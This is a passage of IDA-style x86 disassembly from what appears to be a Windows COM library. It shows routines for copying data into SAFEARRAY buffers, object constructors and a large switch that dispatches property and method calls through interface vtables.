ppvData = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
xor edi, edi
mov ebx, ecx
cmp [ebx+2Ch], edi
mov [ebp+var_8], edi
mov [ebp+arg_4], esi
mov [ebp+var_C], edi
jnz short loc_69B5646E
push 1000h ; cElements
push edi ; lLbound
push 11h ; vt
call SafeArrayCreateVector
cmp eax, edi
mov [ebx+2Ch], eax
mov [ebx+30h], edi
jnz short loc_69B5646E
mov [ebp+var_C], 8007000Eh
jmp loc_69B564FF
; ---------------------------------------------------------------------------
loc_69B5646E: ; CODE XREF: sub_69B5642C+1Cj
; sub_69B5642C+34j
cmp esi, edi
jbe loc_69B564FF
jmp short loc_69B5647A
; ---------------------------------------------------------------------------
loc_69B56478: ; CODE XREF: sub_69B5642C+CDj
xor edi, edi
loc_69B5647A: ; CODE XREF: sub_69B5642C+4Aj
mov ecx, [ebp+arg_4]
mov eax, [ebx+30h]
lea edx, [eax+ecx]
mov [ebp+var_4], ecx
mov ecx, 1000h
cmp edx, ecx
jbe short loc_69B56494
sub ecx, eax
mov [ebp+var_4], ecx
loc_69B56494: ; CODE XREF: sub_69B5642C+61j
lea eax, [ebp+ppvData]
push eax ; ppvData
push dword ptr [ebx+2Ch] ; psa
call SafeArrayAccessData
cmp eax, edi
mov [ebp+var_C], eax
jnz short loc_69B564FF
mov edi, [ebx+30h]
mov eax, [ebp+arg_0]
mov edx, [ebp+var_8]
mov ecx, [ebp+var_4]
add edi, [ebp+ppvData]
lea esi, [eax+edx]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+2Ch]
mov esi, eax
add [ebx+30h], esi
mov eax, [ebx+30h]
mov [ecx+10h], eax
push dword ptr [ebx+2Ch] ; psa
call SafeArrayUnaccessData
sub [ebp+arg_4], esi
add [ebp+var_8], esi
cmp dword ptr [ebx+30h], 1000h
jb short loc_69B564F5
mov ecx, ebx
call sub_69B560E0
loc_69B564F5: ; CODE XREF: sub_69B5642C+C0j
cmp [ebp+arg_4], 0
ja loc_69B56478
loc_69B564FF: ; CODE XREF: sub_69B5642C+3Dj
; sub_69B5642C+44j ...
mov eax, [ebp+var_C]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B5642C endp
; =============== S U B R O U T I N E =======================================
sub_69B56509 proc near ; CODE XREF: sub_69B1C12C+2DD9p
; sub_69B4311C+B5p ...
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_69B3677A
push [esp+8+arg_0]
xor edi, edi
lea ecx, [esi+14h]
mov dword ptr [esi], offset off_69B127FC
mov dword ptr [esi+4], offset off_69B28B0C
mov [esi+10h], edi
call sub_69B1E084
mov [esi+18h], edi
mov [esi+1Ch], edi
mov [esi+20h], edi
mov [esi+24h], edi
mov [esi+28h], edi
mov [esi+2Ch], edi
mov [esi+30h], edi
pop edi
mov eax, esi
pop esi
retn 4
sub_69B56509 endp
; =============== S U B R O U T I N E =======================================
sub_69B5654C proc near ; DATA XREF: .text:off_69B28B0Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B56167
test [esp+4+arg_0], 1
jz short loc_69B56564
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B56564: ; CODE XREF: sub_69B5654C+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B5654C endp
; =============== S U B R O U T I N E =======================================
sub_69B5656B proc near ; CODE XREF: sub_69B4311C+138p
; sub_69B46AC0+C7p ...
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_69B3677A
push [esp+8+arg_0]
xor edi, edi
mov dword ptr [esi], offset off_69B127FC
mov dword ptr [esi+4], offset off_69B28B0C
mov [esi+10h], edi
mov [esi+14h], edi
mov [esi+18h], edi
lea ecx, [esi+28h]
mov [esi+1Ch], edi
mov [esi+20h], edi
mov [esi+24h], edi
call sub_69B1E084
mov [esi+2Ch], edi
mov [esi+30h], edi
pop edi
mov eax, esi
pop esi
retn 4
sub_69B5656B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B565AE proc near ; CODE XREF: sub_69B57B5C+145p
pvarg = VARIANTARG ptr -24h
var_14 = word ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
mov esi, ecx
call sub_69B3677A
mov ebx, [ebp+arg_0]
xor eax, eax
mov dword ptr [esi], offset off_69B127FC
mov dword ptr [esi+4], offset off_69B28B0C
mov [esi+10h], eax
mov [esi+14h], eax
mov [esi+18h], eax
mov [esi+1Ch], eax
mov [esi+20h], eax
mov [esi+24h], eax
mov [esi+28h], eax
lea ecx, [ebp+var_4]
push ecx
mov [esi+2Ch], eax
mov [esi+30h], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+38h]
test eax, eax
jl short loc_69B56636
mov eax, [ebp+var_4]
push edi
mov edi, VariantInit
mov [esi+1Ch], eax
lea eax, [ebp+pvarg]
push eax ; pvarg
call edi ; VariantInit
lea eax, [ebp+var_14]
push eax ; pvarg
call edi ; VariantInit
mov eax, [esi+1Ch]
lea ecx, [ebp+pvarg]
push ecx
lea ecx, [ebp+var_14]
push ecx
mov [ebp+var_C], eax
mov eax, [ebx]
push ebx
mov [ebp+var_14], 3
call dword ptr [eax+3Ch]
test eax, eax
pop edi
jl short loc_69B56636
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov [esi+2Ch], eax
loc_69B56636: ; CODE XREF: sub_69B565AE+48j
; sub_69B565AE+80j
mov eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B565AE endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_69B5663E(SAFEARRAY *psa)
sub_69B5663E proc near ; CODE XREF: sub_69B57B5C+88p
psa = dword ptr 4
push ebx
push esi
push edi
mov esi, ecx
call sub_69B3677A
xor ebx, ebx
cmp [esp+0Ch+psa], ebx
mov dword ptr [esi], offset off_69B127FC
mov dword ptr [esi+4], offset off_69B28B0C
mov [esi+10h], ebx
mov [esi+14h], ebx
mov [esi+18h], ebx
mov [esi+1Ch], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov [esi+28h], ebx
lea edi, [esi+2Ch]
mov [edi], ebx
mov [esi+30h], ebx
jz short loc_69B56697
push edi ; ppsaOut
push [esp+10h+psa] ; psa
call SafeArrayCopy
cmp eax, ebx
jz short loc_69B5668F
push eax
call sub_69B2E8B8
loc_69B5668F: ; CODE XREF: sub_69B5663E+49j
mov eax, [edi]
mov eax, [eax+10h]
mov [esi+1Ch], eax
loc_69B56697: ; CODE XREF: sub_69B5663E+3Aj
pop edi
mov eax, esi
pop esi
pop ebx
retn 4
sub_69B5663E endp
; =============== S U B R O U T I N E =======================================
sub_69B5669F proc near ; DATA XREF: .text:69B1280Co
push 28h
push offset dword_69B56810
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
call dword_69B92948
mov ecx, eax
mov [ebp-20h], ecx
cmp ecx, ebx
jz short loc_69B566E2
mov esi, [ebp+8]
cmp dword ptr [esi+10h], 1
jz short loc_69B566DB
mov dword ptr [esi+10h], 2
mov eax, [esi+14h]
cmp eax, ebx
jnz short loc_69B566EC
cmp [esi+28h], ebx
jnz short loc_69B566EC
loc_69B566DB: ; CODE XREF: sub_69B5669F+27j
push ecx
call dword_69B92944
loc_69B566E2: ; CODE XREF: sub_69B5669F+1Ej
mov eax, 80004005h
jmp loc_69B567B1
; ---------------------------------------------------------------------------
loc_69B566EC: ; CODE XREF: sub_69B5669F+35j
; sub_69B5669F+3Aj
cmp [ebp+0Ch], ebx
jnz short loc_69B566FD
mov dword ptr [ebp-1Ch], 80030009h
jmp loc_69B567A5
; ---------------------------------------------------------------------------
loc_69B566FD: ; CODE XREF: sub_69B5669F+50j
cmp [esi+28h], ebx
jz short loc_69B56720
mov edi, [ebp+10h]
push edi
push dword ptr [ebp+0Ch]
mov ecx, esi
call sub_69B5642C
mov [ebp-1Ch], eax
cmp eax, ebx
jnz loc_69B567A5
add [esi+1Ch], edi
jmp short loc_69B5679C
; ---------------------------------------------------------------------------
loc_69B56720: ; CODE XREF: sub_69B5669F+61j
lea ebx, [esi+18h]
cmp dword ptr [ebx], 0
jnz short loc_69B56767
push dword ptr [eax+0E0h]
lea ecx, [ebp-2Ch]
call sub_69B11D3B
and dword ptr [ebp-4], 0
mov ecx, [esi+14h]
mov [ebp-30h], ecx
call sub_69B3E0AB
mov ecx, [esi+14h]
mov [ebp-34h], ecx
push ebx
call sub_69B3DE0E
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [esi+14h]
mov byte ptr [eax+0C9h], 1
lea ecx, [ebp-2Ch]
call sub_69B1976C
loc_69B56767: ; CODE XREF: sub_69B5669F+87j
mov edi, [ebp+10h]
test edi, edi
jz short loc_69B5679C
mov eax, [ebx]
mov ecx, [eax]
push 0
push edi
push dword ptr [ebp+0Ch]
push eax
call dword ptr [ecx+44h]
mov [ebp-1Ch], eax
add [esi+1Ch], edi
add [esi+30h], edi
cmp dword ptr [esi+30h], 1000h
jbe short loc_69B5679C
mov ebx, [ebx]
mov eax, [ebx]
push 0FFFFFFFFh
push ebx
call dword ptr [eax+60h]
and dword ptr [esi+30h], 0
loc_69B5679C: ; CODE XREF: sub_69B5669F+7Fj
; sub_69B5669F+CDj ...
mov eax, [ebp+14h]
test eax, eax
jz short loc_69B567A5
mov [eax], edi
loc_69B567A5: ; CODE XREF: sub_69B5669F+59j
; sub_69B5669F+76j ...
push dword ptr [ebp-20h]
call dword_69B92944
mov eax, [ebp-1Ch]
loc_69B567B1: ; CODE XREF: sub_69B5669F+48j
call sub_69B1853C
retn 10h
sub_69B5669F endp
; =============== S U B R O U T I N E =======================================
sub_69B567B9 proc near ; DATA XREF: .text:69B56814o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
sub_69B567B9 endp
; =============== S U B R O U T I N E =======================================
sub_69B567C2 proc near ; DATA XREF: .text:69B56818o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-1Ch], eax
mov dword ptr [ebp-4], 1
mov ecx, [ebp+8]
mov ecx, [ecx+14h]
mov [ebp-38h], ecx
push eax
call sub_69B3E1E4
jmp short loc_69B567FE
; ---------------------------------------------------------------------------
loc_69B567F2: ; DATA XREF: .text:69B56820o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B567FB: ; DATA XREF: .text:69B56824o
mov esp, [ebp-18h]
loc_69B567FE: ; CODE XREF: sub_69B567C2+2Ej
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-2Ch]
call sub_69B1976C
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B567A5
sub_69B567C2 endp
; ---------------------------------------------------------------------------
dword_69B56810 dd 0FFFFFFFFh dd offset sub_69B567B9
dd offset sub_69B567C2
dd 0FFFFFFFFh
dd offset loc_69B567F2
dd offset loc_69B567FB
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B56828 proc near ; CODE XREF: sub_69B59675+5j
; sub_69B59800+5j
; DATA XREF: ...
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B5683F
mov eax, 80004005h
jmp short loc_69B56890
; ---------------------------------------------------------------------------
loc_69B5683F: ; CODE XREF: sub_69B56828+Ej
push esi
push 0
push [ebp+arg_14]
push [ebp+arg_10]
push 21h
push offset off_69B996A8
push [ebp+arg_C]
push [ebp+arg_8]
call sub_69B2CA1A
mov esi, eax
cmp esi, 80020006h
jnz short loc_69B56886
movzx eax, byte_69B98AD0
push 0
push [ebp+arg_14]
push [ebp+arg_10]
push eax
push offset off_69B986D0
push [ebp+arg_C]
push [ebp+arg_8]
call sub_69B2CA1A
mov esi, eax
loc_69B56886: ; CODE XREF: sub_69B56828+3Aj
push edi
call dword_69B92944
mov eax, esi
pop esi
loc_69B56890: ; CODE XREF: sub_69B56828+15j
pop edi
pop ebp
retn 18h
sub_69B56828 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B56895 proc near ; CODE XREF: sub_69B5967F+5j
; sub_69B5980A+5j
; DATA XREF: ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B568AC
mov eax, 80004005h
jmp short loc_69B5690D
; ---------------------------------------------------------------------------
loc_69B568AC: ; CODE XREF: sub_69B56895+Ej
mov eax, [ebp+arg_4]
cmp eax, 1
push esi
jle short loc_69B568DE
cmp eax, 24h
jge short loc_69B568DE
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push eax
mov eax, [ebp+arg_0]
add eax, 1Ch
push eax
call sub_69B41180
jmp short loc_69B56901
; ---------------------------------------------------------------------------
loc_69B568DE: ; CODE XREF: sub_69B56895+1Ej
; sub_69B56895+23j
push [ebp+arg_20]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push eax
push [ebp+arg_0]
push offset dword_69B99AC8
call sub_69B2D258
loc_69B56901: ; CODE XREF: sub_69B56895+47j
push edi
mov esi, eax
call dword_69B92944
mov eax, esi
pop esi
loc_69B5690D: ; CODE XREF: sub_69B56895+15j
pop edi
pop ebp
retn 24h
sub_69B56895 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B56912 proc near ; DATA XREF: .data:69B99AE8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = word ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
cmp eax, 3Bh
push ebx
push esi
push edi
jg loc_69B56C5E
jz loc_69B56C46
cmp eax, 2Dh
jg loc_69B56AC4
jz loc_69B56A98
cmp eax, 29h
jg loc_69B56A19
jz loc_69B569ED
cmp eax, 0FFFFFDF3h
jz loc_69B569D5
cmp eax, 26h
jz short loc_69B569BD
cmp eax, 27h
jz short loc_69B569A5
cmp eax, 28h
jnz loc_69B56E8D ; default
cmp [ebp+arg_C], 2
jnz short loc_69B56985
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0B4h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56985: ; CODE XREF: sub_69B56912+59j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B56993
mov eax, [eax]
loc_69B56993: ; CODE XREF: sub_69B56912+7Dj
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+0B8h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B569A5: ; CODE XREF: sub_69B56912+49j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0B0h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B569BD: ; CODE XREF: sub_69B56912+44j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0ACh]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B569D5: ; CODE XREF: sub_69B56912+3Bj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0ECh]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B569ED: ; CODE XREF: sub_69B56912+30j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B569FD
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56A00
; ---------------------------------------------------------------------------
loc_69B569FD: ; CODE XREF: sub_69B56912+E2j
mov ecx, [eax+8]
loc_69B56A00: ; CODE XREF: sub_69B56912+E9j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0BCh]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56A19: ; CODE XREF: sub_69B56912+2Aj
sub eax, 2Ah
jz short loc_69B56A80
dec eax
jz short loc_69B56A54
dec eax
jnz loc_69B56E8D ; default
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56A38
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56A3B
; ---------------------------------------------------------------------------
loc_69B56A38: ; CODE XREF: sub_69B56912+11Dj
mov ecx, [eax+8]
loc_69B56A3B: ; CODE XREF: sub_69B56912+124j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0C8h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56A54: ; CODE XREF: sub_69B56912+10Dj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56A64
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56A67
; ---------------------------------------------------------------------------
loc_69B56A64: ; CODE XREF: sub_69B56912+149j
mov ecx, [eax+8]
loc_69B56A67: ; CODE XREF: sub_69B56912+150j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0C4h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56A80: ; CODE XREF: sub_69B56912+10Aj
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0C0h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56A98: ; CODE XREF: sub_69B56912+21j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56AA8
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56AAB
; ---------------------------------------------------------------------------
loc_69B56AA8: ; CODE XREF: sub_69B56912+18Dj
mov ecx, [eax+8]
loc_69B56AAB: ; CODE XREF: sub_69B56912+194j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0CCh]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56AC4: ; CODE XREF: sub_69B56912+1Bj
sub eax, 2Eh
jz loc_69B56C0E
dec eax
jz loc_69B56BE2
dec eax
dec eax
jz loc_69B56BB6
dec eax
jz loc_69B56B8A
sub eax, 4
jz short loc_69B56B44
dec eax
dec eax
jz short loc_69B56B18
dec eax
dec eax
jnz loc_69B56E8D ; default
mov edx, [ebp+arg_10]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+0E8h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56B18: ; CODE XREF: sub_69B56912+1D8j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56B28
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56B2B
; ---------------------------------------------------------------------------
loc_69B56B28: ; CODE XREF: sub_69B56912+20Dj
mov ecx, [eax+8]
loc_69B56B2B: ; CODE XREF: sub_69B56912+214j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0E4h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56B44: ; CODE XREF: sub_69B56912+1D4j
mov esi, [ebp+arg_8]
test byte ptr [esi+31h], 40h
jz short loc_69B56B54
mov eax, [esi+38h]
mov edx, [eax]
jmp short loc_69B56B57
; ---------------------------------------------------------------------------
loc_69B56B54: ; CODE XREF: sub_69B56912+239j
mov edx, [esi+38h]
loc_69B56B57: ; CODE XREF: sub_69B56912+240j
test byte ptr [esi+19h], 40h
jz short loc_69B56B64
mov eax, [esi+20h]
mov ecx, [eax]
jmp short loc_69B56B67
; ---------------------------------------------------------------------------
loc_69B56B64: ; CODE XREF: sub_69B56912+249j
mov ecx, [esi+20h]
loc_69B56B67: ; CODE XREF: sub_69B56912+250j
mov edi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ebx, [eax]
add edi, 8
push edi
push edx
push ecx
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ebx+0E0h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56B8A: ; CODE XREF: sub_69B56912+1CBj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56B9A
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56B9D
; ---------------------------------------------------------------------------
loc_69B56B9A: ; CODE XREF: sub_69B56912+27Fj
mov ecx, [eax+8]
loc_69B56B9D: ; CODE XREF: sub_69B56912+286j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0DCh]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56BB6: ; CODE XREF: sub_69B56912+1C4j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56BC6
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56BC9
; ---------------------------------------------------------------------------
loc_69B56BC6: ; CODE XREF: sub_69B56912+2ABj
mov ecx, [eax+8]
loc_69B56BC9: ; CODE XREF: sub_69B56912+2B2j
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0D8h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56BE2: ; CODE XREF: sub_69B56912+1BCj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56BF2
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56BF5
; ---------------------------------------------------------------------------
loc_69B56BF2: ; CODE XREF: sub_69B56912+2D7j
mov ecx, [eax+8]
loc_69B56BF5: ; CODE XREF: sub_69B56912+2DEj
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+0D4h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56C0E: ; CODE XREF: sub_69B56912+1B5j
mov eax, [ebp+arg_8]
test byte ptr [eax+19h], 40h
jz short loc_69B56C1E
mov ecx, [eax+20h]
mov edx, [ecx]
jmp short loc_69B56C21
; ---------------------------------------------------------------------------
loc_69B56C1E: ; CODE XREF: sub_69B56912+303j
mov edx, [eax+20h]
loc_69B56C21: ; CODE XREF: sub_69B56912+30Aj
test byte ptr [eax+1], 40h
mov eax, [eax+8]
jz short loc_69B56C2C
mov eax, [eax]
loc_69B56C2C: ; CODE XREF: sub_69B56912+316j
mov edi, [ebp+arg_10]
mov ecx, [ebp+arg_0]
mov esi, [ecx]
add edi, 8
push edi
push edx
push eax
push ecx
call dword ptr [esi+0D0h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56C46: ; CODE XREF: sub_69B56912+12j
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0F0h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56C5E: ; CODE XREF: sub_69B56912+Cj
mov ecx, 0C9h
cmp eax, ecx
jg loc_69B56E7D
jz loc_69B56E65
add eax, 0FFFFFFC4h ; switch 11 cases
cmp eax, 0Ah
ja loc_69B56E8D ; default
jmp ds:off_69B56F2C[eax*4] ; switch jump
loc_69B56C84: ; DATA XREF: .text:off_69B56F2Co
mov edx, [ebp+arg_10] ; jumptable 69B56C7D case 60
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0F4h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56C9C: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
cmp [ebp+arg_C], 2 ; jumptable 69B56C7D case 61
jnz short loc_69B56CBB
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+0F8h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56CBB: ; CODE XREF: sub_69B56912+38Fj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56CCC
mov eax, [eax+8]
mov ax, [eax]
jmp short loc_69B56CD0
; ---------------------------------------------------------------------------
loc_69B56CCC: ; CODE XREF: sub_69B56912+3B0j
movsx eax, word ptr [eax+8]
loc_69B56CD0: ; CODE XREF: sub_69B56912+3B8j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+0FCh]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56CE2: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
mov eax, [ebp+arg_0] ; jumptable 69B56C7D case 62
mov ecx, [eax]
push eax
call dword ptr [ecx+100h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56CF3: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
mov eax, [ebp+arg_8] ; jumptable 69B56C7D case 63
test byte ptr [eax+1], 40h
jz short loc_69B56D03
mov eax, [eax+8]
mov ecx, [eax]
jmp short loc_69B56D06
; ---------------------------------------------------------------------------
loc_69B56D03: ; CODE XREF: sub_69B56912+3E8j
mov ecx, [eax+8]
loc_69B56D06: ; CODE XREF: sub_69B56912+3EFj
mov esi, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov edx, [eax]
add esi, 8
push esi
push ecx
push eax
call dword ptr [edx+104h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56D1F: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
mov esi, [ebp+arg_8] ; jumptable 69B56C7D case 64
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub esp, 10h
mov edi, esp
movsd
movsd
movsd
push eax
movsd
call dword ptr [ecx+108h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56D3C: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
cmp [ebp+arg_C], 2 ; jumptable 69B56C7D case 65
jnz short loc_69B56D5B
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+10Ch]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56D5B: ; CODE XREF: sub_69B56912+42Fj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56D6C
mov eax, [eax+8]
mov ax, [eax]
jmp short loc_69B56D70
; ---------------------------------------------------------------------------
loc_69B56D6C: ; CODE XREF: sub_69B56912+450j
movsx eax, word ptr [eax+8]
loc_69B56D70: ; CODE XREF: sub_69B56912+458j
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+110h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56D82: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
cmp [ebp+arg_C], 2 ; jumptable 69B56C7D case 66
jnz short loc_69B56DA1
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+114h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56DA1: ; CODE XREF: sub_69B56912+475j
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56DB2
mov eax, [eax+8]
mov ax, [eax]
jmp short loc_69B56DB6
; ---------------------------------------------------------------------------
loc_69B56DB2: ; CODE XREF: sub_69B56912+496j
movsx eax, word ptr [eax+8]
loc_69B56DB6: ; CODE XREF: sub_69B56912+49Ej
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx+118h]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56DC8: ; CODE XREF: sub_69B56912+36Bj
; DATA XREF: .text:off_69B56F2Co
cmp [ebp+arg_C], 2 ; jumptable 69B56C7D case 67
jnz short loc_69B56DE7
mov edx, [ebp+arg_10]
mov eax, [ebp+arg_0]
mov ecx, [eax]
add edx, 8
push edx
push eax
call dword ptr [ecx+11Ch]
jmp loc_69B56F25
; ---------------------------------------------------------------------------
loc_69B56DE7: ; CODE XREF: sub_69B56912+4BBj
mov eax, [ebp+arg_8]
test byte ptr [eax+1], 40h
jz short loc_69B56DF8
